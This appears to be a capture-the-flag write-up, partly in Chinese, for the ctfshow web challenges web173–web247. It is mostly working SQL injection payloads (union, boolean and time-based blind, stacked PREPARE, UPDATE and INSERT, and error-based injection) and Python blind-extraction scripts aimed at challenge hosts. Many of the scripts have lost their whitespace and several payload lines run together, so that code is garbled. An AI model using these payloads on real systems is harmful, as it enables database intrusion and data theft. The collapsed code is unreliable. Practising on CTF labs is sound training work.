1' union select 1,2,3%23
1'unionselect1,2%231' union select group_concat(schema_name),2 from information_schema.schemata%23
1'unionselectgroup_concat(table_name),2frominformation_schema.tableswheretable_schema="ctfshow_web"%231' union select group_concat(column_name),2 from information_schema.columns where table_name="ctfshow_user2"%23
1'unionselectgroup_concat(password),2fromctfshow_user2%23
web173
1
2
3
4
5
6
7
-1' union select 1,database(),3 --+
-1'unionselect1,group_concat(table_name),3frominformation_schema.tableswheretable_schema='ctfshow_web'--+
-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='ctfshow_user3' --+
-1'unionselect1,2,to_base64(password)fromctfshow_user3--+
方法一样,换个函数
web174
没有数据页了,那就盲注一下吧,可以直接猜到表名和列名,所以测测就可以打
1
1' and 1=if(ascii(substr((select group_concat(password) from ctfshow_user4),1,1))>1,1,0)--+
importrequestsurl="http://941d949a-5fef-41da-8abd-6594f601ee1c.challenge.ctf.show/api/v4.php"result=''i=0whileTrue:i=i+1head=32tail=127whilehead<tail:mid=(head+tail)//2# payload = f'''1' and 1=if(ascii(substr((select group_concat(password) from ctfshow_user4),{i},1))>{mid},1,0)--+'''payload=f'''1' and 1=if(ascii(substr((select password from ctfshow_user4 limit 24,1),{i},1))>{mid},1,0)--+'''# print(payload)r=requests.get(url+"?id="+payload)if"admin"inr.text:head=mid+1else:tail=midifhead!=32:result+=chr(head)else:breakprint(result)
importrequestsurl="http://99243179-d071-4d4e-8e0a-8bb4c0177aa9.challenge.ctf.show/select-waf.php"target='ctfshow{'defstr_to_hex(str):return''.join([hex(ord(c)).replace('0x','')forcinstr])foriinrange(1,50):forjin'0123456789abcdefghijklmnopqrstuvwxyz-{}':payload="ctfshow_user group by pass having pass like 0x{0}".format(str_to_hex(target+j+'%'))# print(payload)data={'tableName':payload}r=requests.post(url=url,data=data)# print(r.text)if"$user_count = 1;"inr.text:target+=jprint(target)iflen(target)==44:print(target+'}')exit()
importrequestsurl="http://99243179-d071-4d4e-8e0a-8bb4c0177aa9.challenge.ctf.show/select-waf.php"target='ctfshow{'defstr_to_hex(str):return''.join([hex(ord(c)).replace('0x','')forcinstr])foriinrange(1,50):forjin'0123456789abcdefghijklmnopqrstuvwxyz-{}':payload="ctfshow_user a inner join ctfshow_user b on b.pass like 0x{0}".format(str_to_hex(target+j+'%'))# print(payload)data={'tableName':payload}r=requests.post(url=url,data=data)# print(r.text)if"$user_count = 22;"inr.text:target+=jprint(target)iflen(target)==44:print(target+'}')exit()
importrequestsurl="http://99243179-d071-4d4e-8e0a-8bb4c0177aa9.challenge.ctf.show/select-waf.php"target='ctfshow{'defstr_to_hex(str):return''.join([hex(ord(c)).replace('0x','')forcinstr])foriinrange(1,50):forjin'0123456789abcdefghijklmnopqrstuvwxyz-{}':payload="ctfshow_user a right join ctfshow_user b on b.pass like 0x{0}".format(str_to_hex(target+j+'%'))# print(payload)data={'tableName':payload}r=requests.post(url=url,data=data)# print(r.text)if"$user_count = 43;"inr.text:target+=jprint(target)iflen(target)==44:print(target+'}')exit()
importstringimportrequestsurl='http://50a0761d-8695-48df-bfe5-9410e5169332.challenge.ctf.show/select-waf.php'payload='ctfshow_user group by pass having pass like(concat({}))'target='ctfshow{'defcreateNum(n):num='true'ifn==1:return'true'else:foriinrange(n-1):num+="+true"returnnumdefcreateStrNum(c):str=''str+='chr('+createNum(ord(c[0]))+')'foriinc[1:]:str+=',chr('+createNum(ord(i))+')'returnstruuid=string.ascii_lowercase+string.digits+"-{}"foriinrange(1,50):forjinuuid:poc=payload.format(createStrNum(target+j+"%"))# print(poc)data={'tableName':poc}r=requests.post(url,data)if"$user_count = 0;"notinr.text:target+=jprint(target)ifj=='}':exit()break
importstringimportrequestsurl='http://50a0761d-8695-48df-bfe5-9410e5169332.challenge.ctf.show/select-waf.php'payload='ctfshow_user a inner join ctfshow_user b on b.pass like(concat({}))'target='ctfshow{'defcreateNum(n):num='true'ifn==1:return'true'else:foriinrange(n-1):num+="+true"returnnumdefcreateStrNum(c):str=''str+='chr('+createNum(ord(c[0]))+')'foriinc[1:]:str+=',chr('+createNum(ord(i))+')'returnstruuid=string.ascii_lowercase+string.digits+"-{}"foriinrange(1,50):forjinuuid:poc=payload.format(createStrNum(target+j+"%"))# print(poc)data={'tableName':poc}r=requests.post(url,data)if"$user_count = 0;"notinr.text:target+=jprint(target)ifj=='}':exit()break
importrequestsimporttimeurl="http://58298b04-11de-449f-b7a0-aab7810ed179.challenge.ctf.show/api/"target=""i=0right_time=3whileTrue:i+=1head=32tail=127whilehead+1<tail:mid=(head+tail)>>1# payload="if((ascii(substr((select database()),{0},1)))<{1},sleep(5),0)#".format(i,mid)# payload = "if((ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{0},1)))<{1},sleep(5),0)#".format(# i, mid)# ctfshow_flagx,ctfshow_info# payload = "if((ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flagx'),{0},1)))<{1},sleep(5),0)#".format(# i, mid)# id,flagapayload="if((ascii(substr((select flaga from ctfshow_flagx),{0},1)))<{1},sleep(5),0)#".format(i,mid)# print(payload)data={"ip":payload,"debug":0}start_time=time.time()r=requests.post(url,data)last_time=time.time()-start_timeiflast_time>right_time:tail=mid# print("right")else:head=mid# print("wrong")ifhead!=32:target+=chr(head)print(target)else:breakprint(target)
importrequestsimporttimeurl="http://653a1b2b-6829-4f6b-bc54-83e0ba08d177.challenge.ctf.show/api/"target=""i=0right_time=3whileTrue:i+=1head=32tail=127whilehead+1<tail:mid=(head+tail)>>1# payload="-1' or if((ascii(substr((select database()),{0},1)))<{1},sleep(5),0)#".format(i,mid)# payload = "-1' or if((ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{0},1)))<{1},sleep(5),0)#".format(# i, mid)# ctfshow_flagxc# payload = "-1' or if((ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flagxc'),{0},1)))<{1},sleep(5),0)#".format(# i, mid)# id,flagaapayload="-1' or if((ascii(substr((select flagaa from ctfshow_flagxc),{0},1)))<{1},sleep(5),0)#".format(i,mid)# print(payload)data={"ip":payload,"debug":0}start_time=time.time()r=requests.post(url,data)last_time=time.time()-start_timeiflast_time>right_time:tail=mid# print("right")else:head=mid# print("wrong")ifhead!=32:target+=chr(head)print(target)else:breakprint(target)
importrequestsimporttimeurl="http://013f68f0-6427-4155-9175-8e1a6229c223.challenge.ctf.show/api/"target=""i=0right_time=3whileTrue:i+=1head=32tail=127whilehead+1<tail:mid=(head+tail)>>1# payload="'MQ==') or if ((ascii(substr((select database()),{0},1)))<{1},sleep(5),0)#".format(i,mid)# payload = "'MQ==') or if ((ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{0},1)))<{1},sleep(5),0)#".format(# i, mid)# ctfshow_flagxcc# payload = "'MQ==') or if ((ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flagxcc'),{0},1)))<{1},sleep(5),0)#".format(# i, mid)# id,flagaacpayload="'MQ==') or if ((ascii(substr((select flagaac from ctfshow_flagxcc),{0},1)))<{1},sleep(5),0)#".format(i,mid)# print(payload)data={"ip":payload,"debug":0}start_time=time.time()r=requests.post(url,data)last_time=time.time()-start_timeiflast_time>right_time:tail=mid# print("right")else:head=mid# print("wrong")ifhead!=32:target+=chr(head)print(target)else:breakprint(target)
importrequestsimporttimeurl="http://c1d1ee9a-2ee5-427a-ae6b-6b8ffd4fd40f.challenge.ctf.show/api/"target=""i=0right_time=3whileTrue:i+=1head=32tail=127whilehead+1<tail:mid=(head+tail)>>1# payload="1) or if ((ascii(substr((select database()),{0},1)))<{1},BENCHMARK(25000000, SHA2('test', 512)),0)#".format(i,mid)# payload = "1) or if ((ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{0},1)))<{1},BENCHMARK(25000000, SHA2('test', 512)),0)#".format(# i, mid)# ctfshow_flagxccb# payload = "1) or if ((ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flagxccb'),{0},1)))<{1},BENCHMARK(25000000, SHA2('test', 512)),0)#".format(# i, mid)# id,flagaabcpayload="1) or if ((ascii(substr((select flagaabc from ctfshow_flagxccb),{0},1)))<{1},BENCHMARK(25000000, SHA2('test', 512)),0)#".format(i,mid)# print(payload)data={"ip":payload,"debug":0}start_time=time.time()r=requests.post(url,data)last_time=time.time()-start_timeiflast_time>right_time:tail=mid# print("right")else:head=mid# print("wrong")ifhead!=32:target+=chr(head)print(target)else:breakprint(target)
importrequestsimporttimeurl="http://cb28e2bd-e328-4c20-bbe7-274d23befca5.challenge.ctf.show/api/"target=""i=0right_time=0.8sleep="(concat(rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a')) RLIKE '(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+b')"whileTrue:i+=1head=32tail=127whilehead+1<tail:mid=(head+tail)>>1# payload="1) or if ((ascii(substr((select database()),{0},1)))<{1},{2},0)#".format(i,mid,sleep)# payload = "1) or if ((ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{0},1)))<{1},{2},0)#".format(# i, mid,sleep)# ctfshow_flagxc# payload = "1) or if ((ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flagxc'),{0},1)))<{1},{2},0)#".format(# i, mid,sleep)# id,flagaacpayload="1) or if ((ascii(substr((select flagaac from ctfshow_flagxc),{0},1)))<{1},{2},0)#".format(i,mid,sleep)# print(payload)data={"ip":payload,"debug":0}start_time=time.time()r=requests.post(url,data)last_time=time.time()-start_timeiflast_time>right_time:tail=mid# print("right")else:head=mid# print("wrong")ifhead!=32:target+=chr(head)print(target)else:breakprint(target)
importrequestsimporttimeurl="http://7cafa34f-18aa-4753-b381-e634e88e709c.challenge.ctf.show/api/"target=""i=0right_time=0.8sleep="(SELECT count(*) FROM information_schema.tables A, information_schema.schemata B, information_schema.schemata D, information_schema.schemata E, information_schema.schemata F,information_schema.schemata G, information_schema.schemata H,information_schema.schemata I)"whileTrue:i+=1head=32tail=127whilehead+1<tail:mid=(head+tail)>>1# payload="1) or if ((ascii(substr((select database()),{0},1)))<{1},{2},0)#".format(i,mid,sleep)# payload = "1) or if ((ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{0},1)))<{1},{2},0)#".format(# i, mid,sleep)# ctfshow_flagxca# payload = "1) or if ((ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flagxca'),{0},1)))<{1},{2},0)#".format(# i, mid,sleep)# id,flagaabcpayload="1) or if ((ascii(substr((select flagaabc from ctfshow_flagxca),{0},1)))<{1},{2},0)#".format(i,mid,sleep)# print(payload)data={"ip":payload,"debug":0}start_time=time.time()r=requests.post(url,data)last_time=time.time()-start_timeiflast_time>right_time:tail=mid# print("right")else:head=mid# print("wrong")ifhead!=32:target+=chr(head)print(target)else:breakprint(target)
importrequestsimporttimeimportstringurl="http://7630ebf6-7c41-4d1c-9c58-d11e3fdc7946.challenge.ctf.show/api/"target=""i=0right_time=0.8sleep="(SELECT count(*) FROM information_schema.tables A, information_schema.schemata B, information_schema.schemata D, information_schema.schemata E, information_schema.schemata F,information_schema.schemata G, information_schema.schemata H,information_schema.schemata I)"strings="_-{}"+string.ascii_uppercase+string.ascii_lowercase+string.digitsforiinrange(1,50):found=Falseforsinstrings:temp_target=target+s# payload = "1) or if((left((select database()),{0})='{1}'),{2},0)-- +".format(# i, temp_target, sleep)# ctfshow# payload = "1) or if((left((select table_name from information_schema.tables where table_schema=database() limit 0,1),{0})='{1}'),{2},0)-- +".format(# i, temp_target, sleep)# ctfshow_flagxcac# payload = "1) or if((left((select column_name from information_schema.columns where table_name='ctfshow_flagxcac' limit 1,1),{0})='{1}'),{2},0)-- +".format(# i, temp_target, sleep)# flagaabccpayload="1) or if((left((select flagaabcc from ctfshow_flagxcac limit 0,1),{0})='{1}'),{2},0)-- +".format(i,temp_target,sleep)# print(payload)data={"ip":payload,"debug":0}start_time=time.time()r=requests.post(url,data)last_time=time.time()-start_timeiflast_time>right_time:# print("gogogo")target=temp_targetprint(target.lower())found=Truebreakprint(target.lower())
/api/?username=-1';PREPARE abcd from 0x73686f772020646174616261736573;execute abcd;#
/api/?username=-1';PREPARE abcd from 0x73686F77207461626C6573;execute abcd;#
/api/?username=-1';PREPARE abcd from 0x73656C656374202A2066726F6D2063746673685F6F775F666C61676173;execute
abcd;#
/api/?username=-1';PREPARE abcd from 0x73656C656374202A2066726F6D20696E666F726D6174696F6E5F736368656D612E526F7574696E6573;execute
abcd;#
web228
1
2
/api/?username=-1';PREPARE a from 0x73656C656374202A2066726F6D2063746673685F6F775F666C616761736161
;execute a;#
web229
1
2
3
4
5
6
/api/?username=-1';PREPARE abcd from 0x73686f772020646174616261736573;execute abcd;#
/api/?username=-1';PREPARE abcd from 0x73686F77207461626C6573;execute abcd;#
/api/?username=-1';PREPARE abcd from 0x73656c656374202a2066726f6d20666c6167;execute
abcd;#
web230
1
2
/api/?username=-1';PREPARE abcd from 0x73656c656374202a2066726f6d20666c61676161626278;execute
abcd;#
web231
路由是/api/
1
$sql="update ctfshow_user set pass = '{$password}' where username = '{$username}';";
update注入,在改变密码的同时将username也改变,插入Sql语句
1
2
3
4
5
password=-1',username=(select group_concat(table_name) from information_schema.tables where table_schema=database())#&username=
password=-1',username=(select group_concat(column_name) from information_schema.columns where table_name='flaga')#&username=
password=-1',username=(select flagas from flaga)#&username=
有个槽点就是这个东西只能慢慢的去看回显好像
web232
闭合md5即可
1
2
3
4
5
password='),username=(select group_concat(table_name) from information_schema.tables where table_schema=database())#&username=
password='),username=(select group_concat(column_name) from information_schema.columns where table_name='flagaa')#&username=
password='),username=(select flagass from flagaa)#&username=
web233
由于不能传入',这里我们需要绕过一下,但是还是很简单,我们利用\将'转义即可
1
2
3
4
5
password=\&username=,username=(select group_concat(table_name) from information_schema.tables where table_schema=database())#
password=\&username=,username=(select group_concat(column_name) from information_schema.columns where table_name='flag233333')#
password=\&username=,username=(select flagass233 from flag233333)#
web234
1
2
3
4
5
password=\&username=,username=(select group_concat(table_name) from information_schema.tables where table_schema=database())#
password=\&username=,username=(select group_concat(column_name) from information_schema.columns where table_name=0x666c6167323361)#
password=\&username=,username=(select flagass23s3 from flag23a)#
web235
用innodb_index_stats和innodb_table_stats查找表名
1
2
3
4
password=\&username=,username=(select group_concat(table_name) from mysql.innodb_table_stats where database_name=database())#
banlist,ctfshow_user,flag23a1
password=\&username=,username=(select b from (select 1,2 as b,3 union select * from flag23a1 limit 1,1)a)#
这么看的话可能不是很好看懂,我再写个无列名注入的payload
1
password=\&username=,username=(select target_column from (SELECT 1, 2 AS target_column, 3 UNION SELECT * FROM flag23a1 limit 1,1)temp)#
就很容易看懂了
web236
1
2
3
password=\&username=,username=(select group_concat(table_name) from mysql.innodb_index_stats where database_name=database())#
password=\&username=,username=(select b from (select 1,2 as b,3 union select * from flaga limit 1,2)a)#
web237
注入点在/api/insert.php
1
$sql="insert into ctfshow_user(username,pass) value('{$username}','{$password}');";
username=1',(select group_concat(schema_name) from information_schema.schemata))#&password=
username=2',(select group_concat(table_name) from information_schema.tables where table_schema=database()))#&password=
username=3',(select group_concat(column_name) from information_schema.columns where table_name='flag'))#&password=
username=3',(select flagass23s3 from flag))#&password=
importrequestsimporttimeurl="http://027f52d9-f4d4-400e-abcb-55d154d072e5.challenge.ctf.show/api/delete.php"target=""i=0right_time=0.8sleep="(SELECT count(*) FROM information_schema.tables A, information_schema.schemata B, information_schema.schemata D, information_schema.schemata E, information_schema.schemata F,information_schema.schemata G, information_schema.schemata H,information_schema.schemata I)"whileTrue:i+=1head=32tail=127whilehead+1<tail:mid=(head+tail)>>1# payload="if((ascii(substr((select database()),{0},1)))<{1},{2},0)#".format(i,mid,sleep)# payload = "if((ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{0},1)))<{1},{2},0)#".format(# i, mid,sleep)# banlist,ctfshow_user,flag# payload = "if((ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='flag'),{0},1)))<{1},{2},0)#".format(# i, mid, sleep)# id,flagpayload="if((ascii(substr((select flag from flag),{0},1)))<{1},{2},0)#".format(i,mid,sleep)# print(payload)data={"id":payload,}start_time=time.time()r=requests.post(url,data)last_time=time.time()-start_timeiflast_time>right_time:tail=mid# print("right")else:head=mid# print("wrong")ifhead!=32:target+=chr(head)print(target)else:breakprint(target)
/api/?id=1' or updatexml(1,concat(0x3d,mid((select group_concat(schema_name) from information_schema.schemata),32,32),0x3d),1)--+
/api/?id=1' or updatexml(1,concat(0x3d,mid((select group_concat(table_name) from information_schema.tables where table_schema='ctfshow_web'),1,32),0x3d),1)--+
/api/?id=1' or updatexml(1,concat(0x3d,mid((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flag'),1,32),0x3d),1)--+
/api/?id=1' or updatexml(1,concat(0x3d,mid((select group_concat(flag) from ctfshow_flag),1,32),0x3d),1)--+
/api/?id=1' or updatexml(1,concat(0x3d,mid((select group_concat(flag) from ctfshow_flag),32,32),0x3d),1)--+
web245
1
2
3
4
5
6
7
8
9
/api/?id=1' or extractvalue(1,concat(0x3d,mid((select group_concat(schema_name) from information_schema.schemata),32,32),0x3d))--+
/api/?id=1' or extractvalue(1,concat(0x3d,mid((select group_concat(table_name) from information_schema.tables where table_schema='ctfshow_web'),1,32),0x3d))--+
/api/?id=1' or extractvalue(1,concat(0x3d,mid((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flagsa'),1,32),0x3d))--+
/api/?id=1' or extractvalue(1,concat(0x3d,mid((select group_concat(flag1) from ctfshow_flagsa),1,32),0x3d))--+
/api/?id=1' or extractvalue(1,concat(0x3d,mid((select group_concat(flag1) from ctfshow_flagsa),32,32),0x3d))--+
web246
报错原理:
MySQL 在执行 GROUP BY 时,会为每个不同的 group 创建一个临时表
rand() 会在查询执行过程中多次计算,而不是只计算一次
当 rand() 生成的值导致重复的键值出现时,MySQL 试图插入重复键到临时表时会产生错误
所以有时候运气不好需要发好几次包才能成功
1
2
3
/api/?id=1' union select 1,count(*),concat(mid((select group_concat(schema_name) from information_schema.schemata),32,32),0x7e,floor(rand()*2))a from information_schema.tables group by a--+
/api/?id=1' union select 1,count(*),concat((select schema_name from information_schema.schemata limit 4,1),0x7e,floor(rand()*2))a from information_schema.tables group by a--+
limit\mid\right\left\substring都是一样的其实,
1
2
3
4
5
/api/?id=1' union select 1,count(*),concat(mid((select group_concat(table_name) from information_schema.tables where table_schema='ctfshow_web'),1,32),0x7e,floor(rand()*2))a from information_schema.tables group by a--+
/api/?id=1' union select 1,count(*),concat(mid((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flags'),1,32),0x7e,floor(rand()*2))a from information_schema.tables group by a--+
/api/?id=1' union select 1,count(*),concat(mid((select group_concat(flag2) from ctfshow_flags),1,32),0x7e,floor(rand()*2))a from information_schema.tables group by a--+
web247
ceil()-向上取整函数
ceil(x) 返回不小于 x 的最小整数,即向上取整。
例如,ceil(3.14) 返回 4。
round() - 四舍五入函数
round(x) 返回最接近 x 的整数,如果有两个整数与 x 距离相等,则返回偶数的整数。
例如,round(3.6) 返回 4,round(3.5) 返回 4,round(3.4) 返回 3。
1
2
3
?id=1' union select 1,count(*),concat(mid((select group_concat(schema_name) from information_schema.schemata),32,32),0x7e,round(rand()*2))a from information_schema.tables group by a--+
/api/?id=1' union select 1,count(*),concat(mid((select group_concat(schema_name) from information_schema.schemata),32,32),0x7e,ceil(rand()*2))a from information_schema.tables group by a--+
正常写就行,最后一句有个小细节flag?要正确解析需要使用反引号
1
2
3
/api/?id=1' union select 1,count(*),concat(mid((select `flag?` from ctfshow_flagsa),1,32),0x7e,ceil(rand()*2))a from information_schema.tables group by a--+
/api/?id=1' union select 1,count(*),concat(mid((select `flag?` from ctfshow_flagsa),32,32),0x7e,ceil(rand()*2))a from information_schema.tables group by a--+